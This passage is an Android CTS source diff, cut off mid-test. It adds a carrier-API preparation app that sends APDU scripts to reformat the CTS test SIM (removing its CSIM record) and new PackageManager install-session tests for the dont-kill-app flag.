copy to tests/tests/carrierapi/targetprep/device/Android.bp
index be847bd..8d054b7 100644
--- a/hostsidetests/tzdata/Android.bp
+++ b/tests/tests/carrierapi/targetprep/device/Android.bp
@@ -1,4 +1,4 @@
-// Copyright (C) 2017 The Android Open Source Project
+// Copyright (C) 2022 The Android Open Source Project
 //
 // Licensed under the Apache License, Version 2.0 (the "License");
 // you may not use this file except in compliance with the License.
@@ -16,20 +16,23 @@
     default_applicable_licenses: ["Android-Apache-2.0"],
 }
 
-java_test_host {
-    name: "CtsHostTzDataTests",
+android_test_helper_app {
+    name: "CtsCarrierApiTargetPrepApp",
     defaults: ["cts_defaults"],
-    // Only compile source java files in this apk.
     srcs: ["src/**/*.java"],
-    libs: ["tradefed"],
     static_libs: [
-        "tzdata-testing",
-        "time_zone_distro",
-        "time_zone_distro_builder",
+        "androidx.annotation_annotation",
+        "androidx.test.runner",
+        "compatibility-device-util-axt",
+        "junit",
+        "truth-prebuilt",
     ],
+    libs: [],
     // Tag this module as a cts test artifact
     test_suites: [
         "cts",
         "general-tests",
     ],
+    sdk_version: "test_current",
+    certificate: ":cts-uicc-2021-testkey",
 }
diff --git a/tests/tests/carrierapi/targetprep/device/AndroidManifest.xml b/tests/tests/carrierapi/targetprep/device/AndroidManifest.xml
new file mode 100644
index 0000000..9251279
--- /dev/null
+++ b/tests/tests/carrierapi/targetprep/device/AndroidManifest.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2022 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.carrierapi.cts.targetprep">
+    <application>
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="android.carrierapi.cts.targetprep" />
+</manifest>
diff --git a/tests/tests/carrierapi/targetprep/device/src/android/carrierapi/cts/targetprep/ApduScriptUtil.java b/tests/tests/carrierapi/targetprep/device/src/android/carrierapi/cts/targetprep/ApduScriptUtil.java
new file mode 100644
index 0000000..5793fe2
--- /dev/null
+++ b/tests/tests/carrierapi/targetprep/device/src/android/carrierapi/cts/targetprep/ApduScriptUtil.java
@@ -0,0 +1,374 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.carrierapi.cts.targetprep;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static java.util.concurrent.TimeUnit.SECONDS;
+
+import android.Manifest;
+import android.app.UiAutomation;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.telephony.SubscriptionInfo;
+import android.telephony.SubscriptionManager;
+import android.telephony.TelephonyManager;
+import android.telephony.UiccSlotMapping;
+import android.util.Log;
+import android.util.Pair;
+
+import androidx.test.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.ShellIdentityUtils;
+import com.android.compatibility.common.util.UiccUtil.ApduCommand;
+import com.android.compatibility.common.util.UiccUtil.ApduResponse;
+
+import java.util.Collection;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicInteger;
+
+class ApduScriptUtil {
+    private static final String TAG = "ApduScriptUtil";
+
+    private static final long SET_SIM_POWER_TIMEOUT_SECONDS = 30;
+    private static final long APP_STATE_ADDITIONAL_WAIT_MILLIS = TimeUnit.SECONDS.toMillis(3);
+    // TelephonyManager constants are @hide, so manually copy them here
+    private static final int CARD_POWER_DOWN = 0;
+    private static final int CARD_POWER_UP = 1;
+    private static final int CARD_POWER_UP_PASS_THROUGH = 2;
+
+    private static Context getContext() {
+        return InstrumentationRegistry.getInstrumentation().getTargetContext();
+    }
+
+    /**
+     * Executes an APDU script over the basic channel.
+     *
+     * <p>The sequence of events is as follows:
+     *
+     * <ol>
+     *   <li>Power the SIM card (as specified by {@code subId}) down
+     *   <li>Power the SIM card back up in pass-through mode (see {@link
+     *       TelephonyManager#CARD_POWER_UP_PASS_THROUGH})
+     *   <li>Transmit {@code apdus} over the basic channel to the SIM
+     *   <li>Power the SIM card down
+     *   <li>Power the SIM card back up
+     * </ol>
+     *
+     * <p>If any of the response statuses from the SIM are not {@code 9000} or {@code 91xx}, that is
+     * considered an error and an exception will be thrown, terminating the script execution. {@code
+     * 61xx} statuses are handled internally.
+     *
+     * <p>NOTE: {@code subId} must correspond to an active SIM.
+     */
+    public static void runApduScript(int subId, List<ApduCommand> apdus)
+            throws InterruptedException {
+        SubscriptionInfo sub =
+                getContext()
+                        .getSystemService(SubscriptionManager.class)
+                        .getActiveSubscriptionInfo(subId);
+        assertThat(sub).isNotNull();
+        assertThat(sub.getSimSlotIndex()).isNotEqualTo(SubscriptionManager.INVALID_SIM_SLOT_INDEX);
+        int logicalSlotId = sub.getSimSlotIndex();
+        // We need a physical slot ID + port to send APDU to in the case when we power the SIM up in
+        // pass-through mode, which will result in a temporary lack of SubscriptionInfo until we
+        // restore it to the normal power mode.
+        int physicalSlotId = -1;
+        int portIndex = -1;
+        Collection<UiccSlotMapping> slotMappings =
+                ShellIdentityUtils.invokeMethodWithShellPermissions(
+                        getContext().getSystemService(TelephonyManager.class),
+                        TelephonyManager::getSimSlotMapping,
+                        Manifest.permission.READ_PRIVILEGED_PHONE_STATE);
+        for (UiccSlotMapping slotMapping : slotMappings) {
+            if (slotMapping.getLogicalSlotIndex() == logicalSlotId) {
+                physicalSlotId = slotMapping.getPhysicalSlotIndex();
+                portIndex = slotMapping.getPortIndex();
+                break;
+            }
+        }
+        if (physicalSlotId == -1 || portIndex == -1) {
+            throw new IllegalStateException(
+                    "Unable to determine physical slot + port from logical slot: " + logicalSlotId);
+        }
+
+        Pair<Integer, Integer> halVersion = getContext().getSystemService(TelephonyManager.class)
+                .getRadioHalVersion();
+        Log.i(TAG, "runApduScript with hal version: " + halVersion.first + "." + halVersion.second);
+        boolean listenToSimCardStateChange = true;
+        // After hal version 1.6, powers SIM card down will not generate SIM ABSENT or
+        // SIM PRESENT events, we have to switch to listen to SIM application states instead.
+        if ((halVersion.first == 1 && halVersion.second == 6) || halVersion.first == 2) {
+            listenToSimCardStateChange = false;
+        }
+
+        try {
+            // Note: Even if it won't wipe out subId after hal version 1.6, we still use the
+            // slot/port-based APDU method while in pass-through mode to make compatible with
+            // older hal version.
+            rebootSimCard(subId,
+                    logicalSlotId, CARD_POWER_UP_PASS_THROUGH, listenToSimCardStateChange);
+            sendApdus(physicalSlotId, portIndex, apdus);
+        } finally {
+            // Even if rebootSimCard failed midway through (leaving the SIM in POWER_DOWN) or timed
+            // out waiting for the right SIM state after rebooting in POWER_UP_PASS_THROUGH, we try
+            // to bring things back to the normal POWER_UP state to avoid breaking other suites.
+            rebootSimCard(subId, logicalSlotId, CARD_POWER_UP, listenToSimCardStateChange);
+        }
+    }
+
+    /**
+     * Powers the SIM card down firstly and then powers it back up on the {@code
+     * targetPowerState}
+     *
+     * Due to the RADIO HAL interface behavior changed after version 1.6, we have to
+     * listen to SIM card states before hal version 1.6 and SIM application states after.
+     * In specific, the behavior of the method is below:
+     * <p> Before hal version 1.6, powers the SIM card down and waits for it to become
+     *     ABSENT, then powers it back up in {@code targetPowerState} and waits for it to
+           become PRESENT.
+     * <p> After hal version 1.6, powers the SIM card down and waits for the SIM application
+     *     state to become NOT_READY, then powers it back up in {@code targetPowerState} and
+     *     waits for it to become NOT_READY {@code CARD_POWER_UP_PASS_THROUGH} or
+     *     LOADED {@code CARD_POWER_UP}.
+     *     The SIM application state keeps in NOT_READY state after simPower moving from
+     *     CARD_POWER_DOWN to CARD_POWER_UP_PASS_THROUGH.
+     */
+    private static void rebootSimCard(int subId,
+            int logicalSlotId, int targetPowerState, boolean listenToSimCardStateChange)
+            throws InterruptedException {
+        if (listenToSimCardStateChange) {
+            setSimPowerAndWaitForCardState(subId,
+                    logicalSlotId, CARD_POWER_DOWN,
+                    TelephonyManager.SIM_STATE_ABSENT, listenToSimCardStateChange);
+            setSimPowerAndWaitForCardState(subId,
+                    logicalSlotId, targetPowerState,
+                    TelephonyManager.SIM_STATE_PRESENT, listenToSimCardStateChange);
+        } else {
+            setSimPowerAndWaitForCardState(subId,
+                    logicalSlotId, CARD_POWER_DOWN,
+                    TelephonyManager.SIM_STATE_NOT_READY, listenToSimCardStateChange);
+            if (targetPowerState == CARD_POWER_UP) {
+                setSimPowerAndWaitForCardState(subId,
+                        logicalSlotId, targetPowerState,
+                        TelephonyManager.SIM_STATE_LOADED, listenToSimCardStateChange);
+            } else if (targetPowerState == CARD_POWER_UP_PASS_THROUGH) {
+                setSimPowerAndWaitForCardState(subId,
+                        logicalSlotId, targetPowerState,
+                        TelephonyManager.SIM_STATE_NOT_READY, listenToSimCardStateChange);
+            }
+        }
+    }
+
+    private static void setSimPowerAndWaitForCardState(
+            int subId, int logicalSlotId, int targetPowerState,
+            int targetSimState, boolean listenToSimCardStateChange)
+            throws InterruptedException {
+        // A small little state machine:
+        // 1. Call setSimPower(targetPowerState)
+        // 2. Wait for callback passed to setSimPower to complete, fail if not SUCCESS
+        // 3. Wait for SIM state broadcast to match targetSimState
+        // TODO(b/229790522) figure out a cleaner expression here.
+        AtomicInteger powerResult = new AtomicInteger(Integer.MIN_VALUE);
+        CountDownLatch powerLatch = new CountDownLatch(1);
+        CountDownLatch cardStateLatch = new CountDownLatch(1);
+        BroadcastReceiver cardStateReceiver =
+                new BroadcastReceiver() {
+                    @Override
+                    public void onReceive(Context context, Intent intent) {
+                        if ((!TelephonyManager.ACTION_SIM_CARD_STATE_CHANGED.equals(
+                                intent.getAction())) &&
+                            (!TelephonyManager.ACTION_SIM_APPLICATION_STATE_CHANGED.equals(
+                                intent.getAction()))) {
+                            return;
+                        }
+                        int slotId =
+                                intent.getIntExtra(
+                                        SubscriptionManager.EXTRA_SLOT_INDEX,
+                                        SubscriptionManager.INVALID_SIM_SLOT_INDEX);
+                        if (slotId != logicalSlotId) return;
+                        int simState =
+                                intent.getIntExtra(
+                                        TelephonyManager.EXTRA_SIM_STATE,
+                                        TelephonyManager.SIM_STATE_UNKNOWN);
+                        if (simState == targetSimState) {
+                            if (powerLatch.getCount() == 0) {
+                                cardStateLatch.countDown();
+                            } else {
+                                Log.w(
+                                        TAG,
+                                        "Received SIM state "
+                                                + simState
+                                                + " prior to setSimPowerState callback");
+                            }
+                        } else {
+                            Log.d(TAG, "Unwanted SIM state: " + simState);
+                        }
+                    }
+                };
+
+        // Since we need to listen to a broadcast that requires READ_PRIVILEGED_PHONE_STATE at
+        // onReceive time, just take all the permissions we need for all our component API calls and
+        // drop them at the end.
+        UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        try {
+            uiAutomation.adoptShellPermissionIdentity(
+                    Manifest.permission.MODIFY_PHONE_STATE,
+                    Manifest.permission.READ_PRIVILEGED_PHONE_STATE);
+            IntentFilter intentFilter = new IntentFilter();
+            intentFilter.addAction(TelephonyManager.ACTION_SIM_CARD_STATE_CHANGED);
+            intentFilter.addAction(TelephonyManager.ACTION_SIM_APPLICATION_STATE_CHANGED);
+            getContext().registerReceiver(cardStateReceiver, intentFilter);
+            Log.i(
+                    TAG,
+                    "Setting SIM " + logicalSlotId + " power state to " + targetPowerState + "...");
+            getContext()
+                    .getSystemService(TelephonyManager.class)
+                    .setSimPowerStateForSlot(
+                            logicalSlotId,
+                            targetPowerState,
+                            Runnable::run,
+                            result -> {
+                                powerResult.set(result);
+                                powerLatch.countDown();
+                            });
+            if (!powerLatch.await(SET_SIM_POWER_TIMEOUT_SECONDS, SECONDS)) {
+                throw new IllegalStateException(
+                        "Failed to receive SIM power result within "
+                                + SET_SIM_POWER_TIMEOUT_SECONDS
+                                + " seconds");
+            } else if (powerResult.get() != TelephonyManager.SET_SIM_POWER_STATE_SUCCESS) {
+                throw new IllegalStateException(
+                        "Unexpected SIM power result: " + powerResult.get());
+            }
+
+            // Once the RIL request completes successfully, wait for the SIM to move to the desired
+            // state (from the broadcast).
+            int simApplicationState = getContext().getSystemService(TelephonyManager.class)
+                    .createForSubscriptionId(subId).getSimApplicationState();
+            Log.i(TAG, "Waiting for SIM " + logicalSlotId
+                    + " to become " + targetSimState + " from " + simApplicationState);
+            // TODO(b/236950019): Find a deterministic way to detect SIM power state change
+            // from DOWN to PASS_THROUGH.
+            if ((!listenToSimCardStateChange) && (targetSimState == simApplicationState)) {
+                Thread.sleep(APP_STATE_ADDITIONAL_WAIT_MILLIS);
+            } else if (!cardStateLatch.await(SET_SIM_POWER_TIMEOUT_SECONDS, SECONDS)) {
+                throw new IllegalStateException(
+                        "Failed to receive SIM state "
+                                + targetSimState
+                                + " within "
+                                + SET_SIM_POWER_TIMEOUT_SECONDS
+                                + " seconds");
+            }
+        } finally {
+            getContext().unregisterReceiver(cardStateReceiver);
+            uiAutomation.dropShellPermissionIdentity();
+        }
+    }
+
+    private static void sendApdus(int physicalSlotId, int portIndex, List<ApduCommand> apdus) {
+        TelephonyManager telMan = getContext().getSystemService(TelephonyManager.class);
+
+        for (int lineNum = 0; lineNum < apdus.size(); ++lineNum) {
+            ApduCommand apdu = apdus.get(lineNum);
+            Log.i(TAG, "APDU #" + (lineNum + 1) + ": " + apdu);
+
+            // Format: data=response[0,len-4), sw1=response[len-4,len-2), sw2=response[len-2,len)
+            String response =
+                    ShellIdentityUtils.invokeMethodWithShellPermissions(
+                            telMan,
+                            tm ->
+                                    tm.iccTransmitApduBasicChannelByPort(
+                                            physicalSlotId,
+                                            portIndex,
+                                            apdu.cla,
+                                            apdu.ins,
+                                            apdu.p1,
+                                            apdu.p2,
+                                            apdu.p3,
+                                            apdu.data),
+                            Manifest.permission.MODIFY_PHONE_STATE);
+            if (response == null || response.length() < 4) {
+                Log.e(TAG, "  response=" + response + " (unexpected)");
+                throw new IllegalStateException(
+                        "Unexpected APDU response on line " + (lineNum + 1) + ": " + response);
+            }
+            StringBuilder responseBuilder = new StringBuilder();
+            responseBuilder.append(response.substring(0, response.length() - 4));
+            String lastStatusWords = response.substring(response.length() - 4);
+
+            // If we got a 61xx status, send repeated GET RESPONSE commands until we get a different
+            // status word back.
+            while (ApduResponse.SW1_MORE_RESPONSE.equals(lastStatusWords.substring(0, 2))) {
+                int moreResponseLength = Integer.parseInt(lastStatusWords.substring(2), 16);
+                Log.i(TAG, "  fetching " + moreResponseLength + " bytes of data...");
+                response =
+                        ShellIdentityUtils.invokeMethodWithShellPermissions(
+                                telMan,
+                                tm ->
+                                        tm.iccTransmitApduBasicChannelByPort(
+                                                physicalSlotId,
+                                                portIndex,
+                                                // Use unencrypted class byte when getting more data
+                                                apdu.cla & ~4,
+                                                ApduCommand.INS_GET_RESPONSE,
+                                                0,
+                                                0,
+                                                moreResponseLength,
+                                                ""),
+                                Manifest.permission.MODIFY_PHONE_STATE);
+                if (response == null || response.length() < 4) {
+                    Log.e(
+                            TAG,
+                            "  response="
+                                    + response
+                                    + " (unexpected), partialResponse="
+                                    + responseBuilder.toString()
+                                    + " (incomplete)");
+                    throw new IllegalStateException(
+                            "Unexpected APDU response on line " + (lineNum + 1) + ": " + response);
+                }
+                responseBuilder.append(response.substring(0, response.length() - 4));
+                lastStatusWords = response.substring(response.length() - 4);
+            }
+
+            // Now check the final status after we've gotten all the data coming out of the SIM.
+            String fullResponse = responseBuilder.toString();
+            if (ApduResponse.SW1_SW2_OK.equals(lastStatusWords)
+                    || ApduResponse.SW1_OK_PROACTIVE_COMMAND.equals(
+                            lastStatusWords.substring(0, 2))) {
+                // 9000 is standard "ok" status, and 91xx is "ok with pending proactive command"
+                Log.i(TAG, "  response=" + fullResponse + ", statusWords=" + lastStatusWords);
+            } else {
+                // Anything else is considered a fatal error; stop the script and fail this
+                // precondition.
+                Log.e(
+                        TAG,
+                        "  response="
+                                + fullResponse
+                                + ", statusWords="
+                                + lastStatusWords
+                                + " (unexpected)");
+                throw new IllegalStateException(
+                        "Unexpected APDU response on line " + (lineNum + 1) + ": " + fullResponse);
+            }
+        }
+    }
+}
diff --git a/tests/tests/carrierapi/targetprep/device/src/android/carrierapi/cts/targetprep/CsimRemover.java b/tests/tests/carrierapi/targetprep/device/src/android/carrierapi/cts/targetprep/CsimRemover.java
new file mode 100644
index 0000000..61e1949
--- /dev/null
+++ b/tests/tests/carrierapi/targetprep/device/src/android/carrierapi/cts/targetprep/CsimRemover.java
@@ -0,0 +1,107 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.carrierapi.cts.targetprep;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import static org.junit.Assume.assumeTrue;
+
+import android.Manifest;
+import android.content.Context;
+import android.telephony.SubscriptionManager;
+import android.telephony.TelephonyManager;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.FeatureUtil;
+import com.android.compatibility.common.util.ShellIdentityUtils;
+import com.android.compatibility.common.util.UiccUtil.ApduCommand;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.List;
+
+@RunWith(AndroidJUnit4.class)
+public class CsimRemover {
+
+    private static final String TAG = "CsimRemover";
+
+    /**
+     * APDUs to remove the CSIM record from EF_dir.
+     *
+     * <p>Given the general move away from CDMA, we do *not* have an equivalent postcondition to
+     * restore CSIM, though you can accomplish this by changing the final APDU's data to {@code
+     * "61184F10A0000003431002F310FFFF89020000FF50044353494DFFFFFFFFFFFFFF"}.
+     */
+    private static final List<ApduCommand> REMOVE_CSIM_SCRIPT =
+            List.of(
+                    // Verify ADM
+                    new ApduCommand(0x00, 0x20, 0x00, 0x0A, 0x08, "3535353535353535"),
+                    // Select MF
+                    new ApduCommand(0x00, 0xA4, 0x00, 0x0C, 0x02, "3F00"),
+                    // Select EF_dir
+                    new ApduCommand(0x00, 0xA4, 0x00, 0x0C, 0x02, "2F00"),
+                    // Overwrite CSIM record with all FF bytes
+                    new ApduCommand(0x00, 0xDC, 0x03, 0x04, 0x21, "FF".repeat(0x21)));
+
+    private Context getContext() {
+        return InstrumentationRegistry.getInstrumentation().getTargetContext();
+    }
+
+    @Before
+    public void ensurePreconditionsMet() {
+        // Bail out if no cellular support.
+        assumeTrue("No cellular support, CSIM removal will be skipped", FeatureUtil.hasTelephony());
+        // Since this APK is signed with the 2021 CTS SIM's certificate, we assume that if we don't
+        // have carrier privileges, we shouldn't be doing anything. This APDU script is not
+        // guaranteed to work on the "legacy" CTS SIM since there's no strict spec for its content.
+        assumeTrue(
+                "No carrier privileges, CSIM removal will be skipped",
+                getContext().getSystemService(TelephonyManager.class).hasCarrierPrivileges());
+    }
+
+    /** Removes CSIM from the UICC if it's present. */
+    @Test
+    public void removeCsim() throws Exception {
+        int subId = SubscriptionManager.getDefaultSubscriptionId();
+        assumeTrue("No CSIM detected, CSIM removal will be skipped", isCsimPresent(subId));
+
+        Log.i(TAG, "Removing CSIM applet record");
+        ApduScriptUtil.runApduScript(subId, REMOVE_CSIM_SCRIPT);
+
+        // The script will internally wait for the SIM to power back up, so this may indicate an
+        // internal timing issue inside telephony if we still don't have carrier privileges by now.
+        assertWithMessage("Carrier privileges not restored after executing CSIM removal script")
+                .that(getContext().getSystemService(TelephonyManager.class).hasCarrierPrivileges())
+                .isTrue();
+        assertWithMessage("CSIM still detected, CSIM removal failed")
+                .that(isCsimPresent(subId))
+                .isFalse();
+    }
+
+    private boolean isCsimPresent(int subId) {
+        return ShellIdentityUtils.invokeMethodWithShellPermissions(
+                getContext()
+                        .getSystemService(TelephonyManager.class)
+                        .createForSubscriptionId(subId),
+                tm -> tm.isApplicationOnUicc(TelephonyManager.APPTYPE_CSIM),
+                Manifest.permission.READ_PRIVILEGED_PHONE_STATE);
+    }
+}
diff --git a/hostsidetests/tzdata/Android.bp b/tests/tests/carrierapi/targetprep/host/Android.bp
similarity index 70%
rename from hostsidetests/tzdata/Android.bp
rename to tests/tests/carrierapi/targetprep/host/Android.bp
index be847bd..a68a459 100644
--- a/hostsidetests/tzdata/Android.bp
+++ b/tests/tests/carrierapi/targetprep/host/Android.bp
@@ -1,4 +1,4 @@
-// Copyright (C) 2017 The Android Open Source Project
+// Copyright (C) 2022 The Android Open Source Project
 //
 // Licensed under the Apache License, Version 2.0 (the "License");
 // you may not use this file except in compliance with the License.
@@ -16,20 +16,20 @@
     default_applicable_licenses: ["Android-Apache-2.0"],
 }
 
-java_test_host {
-    name: "CtsHostTzDataTests",
-    defaults: ["cts_defaults"],
-    // Only compile source java files in this apk.
+java_test_helper_library {
+    name: "CtsCarrierApiTargetPrep",
     srcs: ["src/**/*.java"],
-    libs: ["tradefed"],
-    static_libs: [
-        "tzdata-testing",
-        "time_zone_distro",
-        "time_zone_distro_builder",
+    libs: [
+        "compatibility-host-util",
+        "cts-tradefed",
+        "tradefed",
     ],
     // Tag this module as a cts test artifact
     test_suites: [
         "cts",
         "general-tests",
     ],
+    sdk_version: "current",
+    host_supported: true,
+    device_supported: false,
 }
diff --git a/tests/tests/carrierapi/targetprep/host/src/android/carrierapi/cts/targetprep/CarrierApiPreparer.java b/tests/tests/carrierapi/targetprep/host/src/android/carrierapi/cts/targetprep/CarrierApiPreparer.java
new file mode 100644
index 0000000..ce2e0b3
--- /dev/null
+++ b/tests/tests/carrierapi/targetprep/host/src/android/carrierapi/cts/targetprep/CarrierApiPreparer.java
@@ -0,0 +1,28 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.carrierapi.cts.targetprep;
+
+import com.android.compatibility.common.tradefed.targetprep.ApkInstrumentationPreparer;
+import com.android.tradefed.config.OptionClass;
+
+/** Ensures that the CTS SIM's content matches the latest spec. */
+@OptionClass(alias = "carrier-api-preparer")
+public class CarrierApiPreparer extends ApkInstrumentationPreparer {
+
+    public CarrierApiPreparer() {
+        mWhen = When.BEFORE;
+    }
+}
diff --git a/tests/tests/content/OWNERS b/tests/tests/content/OWNERS
index 41e033d..00b8ddb 100644
--- a/tests/tests/content/OWNERS
+++ b/tests/tests/content/OWNERS
@@ -5,4 +5,4 @@
 schfan@google.com
 zyy@google.com
 per-file ContextTest.java = jacobhobbie@google.com,mpgroover@google.com
-per-file ClipboardAutoClearTest.java = olekarg@google.com,ewol@google.com
\ No newline at end of file
+per-file ClipboardAutoClearTest.java = olekarg@google.com,ashfall@google.com
\ No newline at end of file
diff --git a/tests/tests/content/TEST_MAPPING b/tests/tests/content/TEST_MAPPING
index ed0ac34..7f588e4 100644
--- a/tests/tests/content/TEST_MAPPING
+++ b/tests/tests/content/TEST_MAPPING
@@ -1,6 +1,19 @@
 {
   "presubmit": [
     {
+      "name": "FrameworksCoreTests",
+      "options": [
+        {
+          "include-filter": "android.content.pm.PackageManagerTests"
+        },
+        {
+          "exclude-annotation": "androidx.test.filters.Suppress"
+        }
+      ]
+    }
+  ],
+  "presubmit-large": [
+    {
       "name": "CtsContentTestCases",
       "options": [
         {
@@ -13,17 +26,6 @@
           "include-filter": "android.content.pm.cts"
         }
       ]
-    },
-    {
-      "name": "FrameworksCoreTests",
-      "options": [
-        {
-          "include-filter": "android.content.pm.PackageManagerTests"
-        },
-        {
-          "exclude-annotation": "androidx.test.filters.Suppress"
-        }
-      ]
     }
   ]
 }
diff --git a/tests/tests/content/src/android/content/pm/cts/ApplicationInfoTest.java b/tests/tests/content/src/android/content/pm/cts/ApplicationInfoTest.java
index a77433f5..e9d2715 100644
--- a/tests/tests/content/src/android/content/pm/cts/ApplicationInfoTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/ApplicationInfoTest.java
@@ -313,8 +313,8 @@
         final String systemPath = Environment.getRootDirectory().getAbsolutePath();
         final String vendorPath = Environment.getVendorDirectory().getAbsolutePath();
         final String packageName = getPartitionFirstPackageName(systemPath, vendorPath);
-        assertNotNull("Can not find any vendor packages on " + vendorPath + " or "
-                + systemPath + vendorPath, packageName);
+        // vendor package may not exist in every builds
+        assumeNotNull(packageName);
 
         final PackageInfo info = getContext().getPackageManager().getPackageInfo(
                 packageName.trim(), 0 /* flags */);
diff --git a/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandTest.java b/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandTest.java
index 3d967d7..df40ea9 100644
--- a/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandTest.java
@@ -28,12 +28,25 @@
 import android.app.UiAutomation;
 import android.content.ComponentName;
 import android.content.Context;
+import android.content.IIntentReceiver;
+import android.content.IIntentSender;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.IntentSender;
+import android.content.pm.ApkChecksum;
+import android.content.pm.ApplicationInfo;
 import android.content.pm.DataLoaderParams;
 import android.content.pm.PackageInstaller;
 import android.content.pm.PackageInstaller.SessionParams;
 import android.content.pm.PackageManager;
 import android.content.pm.cts.util.AbandonAllPackageSessionsRule;
+import android.os.Bundle;
+import android.os.ConditionVariable;
+import android.os.IBinder;
 import android.os.ParcelFileDescriptor;
+import android.os.Process;
+import android.os.RemoteException;
+import android.os.UserHandle;
 import android.platform.test.annotations.AppModeFull;
 
 import androidx.test.InstrumentationRegistry;
@@ -57,6 +70,10 @@
 import java.util.Arrays;
 import java.util.Optional;
 import java.util.Random;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.atomic.AtomicInteger;
+import java.util.concurrent.atomic.AtomicReference;
+import java.util.function.BiConsumer;
 import java.util.stream.Collectors;
 
 @RunWith(Parameterized.class)
@@ -154,6 +171,15 @@
         }
     }
 
+    private static void writeFileToSession(PackageInstaller.Session session, String name,
+            String apk) throws IOException {
+        File file = new File(createApkPath(apk));
+        try (OutputStream os = session.openWrite(name, 0, file.length());
+             InputStream is = new FileInputStream(file)) {
+            writeFullStream(is, os, file.length());
+        }
+    }
+
     @Before
     public void onBefore() throws Exception {
         // Check if Incremental is allowed and revert to non-dataloader installation.
@@ -482,6 +508,78 @@
     }
 
     @Test
+    public void testDontKillWithSplit() throws Exception {
+        installPackage(TEST_HW5);
+
+        getUiAutomation().adoptShellPermissionIdentity();
+        try {
+            final PackageInstaller installer = getPackageInstaller();
+            final SessionParams params = new SessionParams(SessionParams.MODE_INHERIT_EXISTING);
+            params.setAppPackageName(TEST_APP_PACKAGE);
+            params.setDontKillApp(true);
+
+            final int sessionId = installer.createSession(params);
+            PackageInstaller.Session session = installer.openSession(sessionId);
+            assertTrue((session.getInstallFlags() & PackageManager.INSTALL_DONT_KILL_APP) != 0);
+
+            writeFileToSession(session, "hw5_split0", TEST_HW5_SPLIT0);
+
+            final CompletableFuture<Boolean> result = new CompletableFuture<>();
+            session.commit(new IntentSender((IIntentSender) new IIntentSender.Stub() {
+                @Override
+                public void send(int code, Intent intent, String resolvedType,
+                        IBinder whitelistToken, IIntentReceiver finishedReceiver,
+                        String requiredPermission, Bundle options) throws RemoteException {
+                    boolean dontKillApp =
+                            (session.getInstallFlags() & PackageManager.INSTALL_DONT_KILL_APP) != 0;
+                    result.complete(dontKillApp);
+                }
+            }));
+
+            // We are adding split. OK to have the flag.
+            assertTrue(result.get());
+        } finally {
+            getUiAutomation().dropShellPermissionIdentity();
+        }
+    }
+
+    @Test
+    public void testDontKillRemovedWithBaseApk() throws Exception {
+        installPackage(TEST_HW5);
+
+        getUiAutomation().adoptShellPermissionIdentity();
+        try {
+            final PackageInstaller installer = getPackageInstaller();
+            final SessionParams params = new SessionParams(SessionParams.MODE_INHERIT_EXISTING);
+            params.setAppPackageName(TEST_APP_PACKAGE);
+            params.setDontKillApp(true);
+
+            final int sessionId = installer.createSession(params);
+            PackageInstaller.Session session = installer.openSession(sessionId);
+            assertTrue((session.getInstallFlags() & PackageManager.INSTALL_DONT_KILL_APP) != 0);
+
+            writeFileToSession(session, "hw7", TEST_HW7);
+
+            final CompletableFuture<Boolean> result = new CompletableFuture<>();
+            session.commit(new IntentSender((IIntentSender) new IIntentSender.Stub() {
+                @Override
